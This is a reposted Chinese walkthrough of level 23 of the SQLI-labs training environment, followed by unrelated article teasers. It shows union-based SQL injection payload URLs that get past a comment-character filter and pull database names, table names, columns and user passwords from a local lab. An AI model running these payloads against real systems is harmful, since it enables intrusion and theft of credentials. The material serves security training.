SQLI-labs-第二十三关

news2024/11/20 14:21:37

第二十三关

目录

第二十三关

1、判断注入点

2、判断数据库

3、判断表名

4、判断字段名

5、获取数据库的信息

6、使用group_concat() 和concat_ws()


知识点:注释符过滤绕过

思路:

分析源码可知,使用了preg_replace()函数过滤了注释符,该函数的用法如下图

那么我们就考虑绕过过滤,意味着我们不能使用注释符,查询网上,可以用 and ’1‘=’1 进行绕过

1、判断注入点

首先正常输入,看看回显

加入单引号

数据库语句报错,根据报错信息,我们可以得知数据库的语句后面有limit 0,1

根据源码,现在的数据库语句是这样的

SELECT * FROM users WHERE id='1‘' LIMIT 0,1

加入注释符

http://127.0.0.1:3306/Less-23/?id=1' --+

还是报错,说明注释符没用

使用 1’ and '1'='1 进行绕过

http://127.0.0.1:3306/Less-23/?id=1' and '1'='1

数据正常回显

http://127.0.0.1:3306/Less-23/?id=1' and '1'='2

数据没有正常回显,因为是and 两边都是真才会回显数据

说明目前可以绕过注释符过滤

拼接后的数据库语句是这样的

SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1

判断字段数

这里使用order by 语句没有作用,不知道为什么,只能使用union  语句

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,3,4 and '1'='1

说明当前的字段数没超过4

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,3 and '1'='1

说明当前有三个字段,为什么是?id=-1 呢? 因为使用union语句,当前一句数据库语句没有结果,才会执行union 后面的查询语句(两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)

这里我们知道原本数据库的闭合方式是怎样的,那一定需要and 1=1吗?

http://127.0.0.1:3306/Less-23/?id=1''

拼接后的数据库语句

SELECT * FROM users WHERE id='1''' LIMIT 0,1

这样的闭合方式是正常的,我们不一定要用and '1'='1 ,在单引号的中间使用union语句也可以进行绕过

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,3 '

注意:id=-1是为了使union语句的左边执行结果为空,才可以执行右边的语句

到这里,我们就知道,目前存在单引号的闭合问题,且注释符被过滤

2、判断数据库

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,database() '

3、判断表名

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select table_name from information_schema.tables where table_schema='security' limit 0,1) '

通过修改limit的值,可以得知表为 emailsreferers、uagents、users

4、判断字段名

以users表为例

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) '

通过修改limit的值,可以知道三个字段为:id、username、password

5、获取数据库的信息

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select username from security.users limit 0,1) '

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select password from security.users limit 0,1) '

通过修改limit的值,就可以获取所有用户的信息


上面使用select 语句的

6、使用group_concat() 和concat_ws()

具体可以参考:SQLI-labs-第一关_1.完成字符型注入 sqli-labs 第一关的攻击-CSDN博客

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' '

 http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select concat_ws(',',id,username,password) from security.users limit 0,1)  '

使用concat_ws需要加上select,不然会报错


这篇文章就先写到这里,哪里不足的欢迎批评指正

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1709705.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机图形学入门01:概述

1.什么是图形学? The use of computers to synthesize and manipulate visual information. 图形学是合成和操纵视觉信息的计算机应用。 百度百科:计算机图形学(Computer Graphics,简称CG)是一种使用数学算法将二维或三维图形转化为计算机显示器的栅格…

2024年统计、数据分析与大数据技术国际会议(SDBT 2024)

2024年统计、数据分析与大数据技术国际会议(SDBT 2024) 2024 International Conference on Statistics, Data Analysis, and Big Data Technology 【重要信息】 大会地点:广州 大会时间:2024年7月22日 大会官网:http…

鸿蒙开发接口UI界面:【@ohos.router (页面路由)】

页面路由 说明开发前请熟悉鸿蒙开发指导文档:gitee.com/li-shizhen-skin/harmony-os/blob/master/README.md点击或者复制转到。 本模块首批接口从API version 8开始支持。后续版本的新增接口,采用上角标单独标记接口的起始版本。页面路由需要在页面渲染完…

VUE3+TS+elementplus+Django+MySQL实现从数据库读取数据,显示在前端界面上

一、前言 前面通过VUE3和elementplus创建了一个table,VUE3TSelementplus创建table,纯前端的table,以及使用VUE3TSelementplus创建一个增加按钮,使用前端的静态数据,显示在表格中。今天通过从后端获取数据来显示在表格…

Keras深度学习框架第二十四讲:KerasNLP概述

1、KerasNLP简介 KerasNLP是一个与TensorFlow深度集成的库,旨在简化NLP(自然语言处理)任务的建模过程。它提供了一系列高级API,用于预处理文本数据、构建序列模型和执行常见的NLP任务,如情感分析、命名实体识别和机器…

PgMP:项目集管理,哪些人适合学习?

美国项目管理协会(PMI)对项目集经理(Program Manager)的角色做出如下的定义: 在最少的领导/监督下,项目集经理PgMP负责在商业和组织目的下协调管理多个相关项目。这些项目含有跨部门、组织、地理区域…

C 基础环境配置(vscode || vs)

目录 一.发展 二. 环境设置 1.vs2022 2.vscode (1.)首先下载VsCode (2)安装vsCode插件 (3)下载MinGW-W64 (4)配置文件 (5)注意把里面配置的:mingw64路径改为自己的路径 (6)示例代码 三.总结 一.发展 编程语言的发展 机器语言(打孔纸带编程),汇编语言,高级语言,一步步…

猫耳 WebSocket 跨端优化实践

前言 在现代的移动应用程序中,长连接是一种不可或缺的能力,包括但不限于推送、实时通信、信令控制等常见场景。在猫耳FM的直播业务中,我们同样使用了 WebSocket 长连接作为我们实时通信的基础。 在我们推进用户体验优化的工作中,…

利用AI办公工具类API,大幅提高办公效率

AI办公工具类API是一项革命性的技术,利用人工智能的力量为办公场景提供了许多创新的解决方案。借助AI办公工具类API,用户可以实现自动化的文档处理、语音转文字、图像识别、数据分析等多种功能,大大提高了办公效率和工作质量。此外&#xff0…

LiveGBS流媒体平台GB/T28181用户手册-国标级联:添加上级平台、选择通道、推送通道级联会话、搜索、删除

LiveGBS流媒体平台GB/T28181用户手册-国标级联:添加上级平台、选择通道、推送通道级联会话、搜索、删除 1、国标级联1.1、添加上级平台1.2、注册状态1.3、选择通道1.4、推送通道1.5、级联会话1.6、搜索1.7、删除 2、搭建GB28181视频直播平台 1、国标级联 1.1、添加上级平台 点…

【golang学习之旅】go mod tidy

系列文章 【golang学习之旅】报错:a declared but not used 【golang学习之旅】Go 的基本数据类型 【golang学习之旅】深入理解字符串string数据类型 目录 系列文章go mod tidy的作用 go mod tidy的作用 把项目所依赖的包添加到go.mod文件中去掉go.mod文件中项目不…

使用 RT 矩阵进行 3D 点云变换详解(基于 PCL 和 Eigen 库)

在 3D 点云处理中,RT 矩阵是一个常用的工具,用于对点云进行旋转和平移操作。本文将详细介绍 RT 矩阵的概念,并通过一个示例程序演示如何基于 PCL 和 Eigen 库将一帧点云进行矩阵变换再输出。 本教程的示例代码和点云数据可在 GitHub 下载。 什…

告别裸奔,聊聊主流消息队列的认证和鉴权!

大家好,我是君哥。 我们在使用消息队列时,经常关注的是消息队列收发消息的功能。但好多时候需要对客户端有一定的限制,比如只有持有令牌的客户端才能访问集权,不允许 Producer 发送消息到某一个 Topic,或者某一个 Top…

网工必备的几种远程工具,教你使用

号主:老杨丨11年资深网络工程师,更多网工提升干货,请关注公众号:网络工程师俱乐部 下午好,我的网工朋友。 干网工这行,工具是必备的,不会用工具赋能工作的网工不是好网工! 拥有一套…

Matplotlib 实践指南:图形样式、风格与标记探索

目录 前言 第一点:导入模块 第二点:创建二维图 第三点:创建统计图 总结 前言 Matplotlib 是一个强大的数据可视化库,可用于创建各种类型的图形。在本文中,我们将研究如何在 Matplotlib 中设置图形的颜色、风格和标记…

深入了解Nginx(一):Nginx核心原理

一、Nginx核心原理 本节为大家介绍Nginx的核心原理,包含Reactor模型、Nginx的模块化设计、Nginx的请求处理阶段. (本文源自微博客,且已获得授权) 1.1、Reactor模型 Nginx对高并发IO的处理使用了Reactor事件驱动模型。Reactor模型的基本组件包含时间收集…

redis数据类型set,zset

华子目录 Set结构图相关命令sdiff key1 [key2]sdiffstore destination key1 [key2...]sinter key1 [key2...]sinterstore destination key1 [key2...]sunion key1 [key2...]sunionstore destination key1 [key2...]smove source destination memberspop key [count]sscan key c…

51驱动DY-SV20F语音播放模块

51驱动DY-SV20F语音播放模块 简介模块特征电气参数工作模式配置原理图代码结果图 简介 DY-SV20F 是一款一对一分段触发控制播放器,支持 MP3,WAV 解码格式; 可分段触发 9 首曲目;低电平触发;3.7-5VDC 宽电压供电,直驱 …

【安装笔记-20240520-Windows-自定义 WSL2 安装位置】

安装笔记-系列文章目录 安装笔记-20240520-Windows-自定义 WSL2 安装位置 文章目录 安装笔记-系列文章目录安装笔记-20240520-Windows-自定义 WSL2 安装位置 前言一、软件介绍名称:WSL(适用于 Linux 的 Windows 子系统)主页官方介绍 二、安装…

Java面试八股之有哪些线程安全的集合类

Java中有哪些线程安全的集合类 在Java中,并非所有的集合类都是线程安全的,但在多线程环境下,确保集合操作的线程安全性至关重要。以下是几个典型的线程安全集合类: Vector: 类似于ArrayList,但它是线程安全的。它通过…